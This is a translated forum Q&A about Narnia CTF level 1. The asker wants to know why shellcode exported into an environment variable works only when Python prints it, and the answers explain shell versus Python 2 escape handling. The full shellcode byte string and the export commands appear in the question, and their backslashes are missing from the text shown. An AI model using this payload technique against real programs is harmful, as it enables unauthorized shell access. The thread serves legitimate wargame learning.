#python #c #buffer-overflow
Вопрос:
В настоящее время я работаю через CTF Нарнии. Я нахожусь на уровне 1. На уровне 1 у нас есть программа, которая вызывает переменную среды. Нам разрешено изменять эту переменную среды. Когда я пытаюсь установить переменную среды в какой-нибудь шестнадцатеричный код, например, таким образом, программа выдает ошибку seg.
export EGG="xebx11x5ex31xc9xb1x21x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx6bx0cx59x9ax53x67x69x2ex71x8axe2x53x6bx69x69x30x63x62x74x69x30x63x6ax6fx8axe4x53x52x54x8axe2xcex81"
Я посмотрел в Интернете, и кажется, что люди генерируют шелл-код, заставляя python печатать его, а затем сохранять это как команду. Когда я делаю это с помощью вышеприведенного шеллкода, это выглядит так:
export EGG=$(python -c 'print "xebx11x5ex31xc9xb1x21x80x6cx0exffx01x80xe9x01x75xf6xebx05xe8xeaxffxffxffx6bx0cx59x9ax53x67x69x2ex71x8axe2x53x6bx69x69x30x63x62x74x69x30x63x6ax6fx8axe4x53x52x54x8axe2xcex81"')
Когда я делаю это вторым способом, программа успешно запускается. Может ли кто-нибудь объяснить, чем отличаются эти две команды? Спасибо!
Комментарии:
1. Совет:
perl -e'print pack "H"*, "eb11..."
намного короче, чемpython -c 'print "xebx11..."'
2. Это также можно было бы сделать с помощью литерала bash, используя строки в стиле ANSI C, и вообще не нужно использовать Python
Ответ №1:
export EGG="xebx11...
на самом деле не интерпретирует escape-последовательности. Вы устанавливаете EGG
строку с буквальными обратными косыми чертами и шестнадцатеричными символами.
Когда вы используете export EGG=$(python -c 'print "xebx11...
Python , единственной задачей является интерпретация escape-последовательностей. Python получает входные данные с обратными косыми чертами и шестнадцатеричными символами и выполняет синтаксический анализ строковых букв Python, создавая строку с фактическими байтами, которые вы хотели.
Обратите внимание, что этот код основан на использовании Python 2; обработка строк Python 3 сильно отличается.
Ответ №2:
Все сводится к тому, чего вы хотите EGG
.
export EGG="xebx11"
помещает строку из 8 символов в EGG
(
, x
, e
, b
,
, x
, 1
, 1
).
export EGG=$(python -c 'print "xebx11"')
помещает строку из 2 символов EGG
(0xEB и 0x11, ни один из которых не соответствует символу ASCII для печати).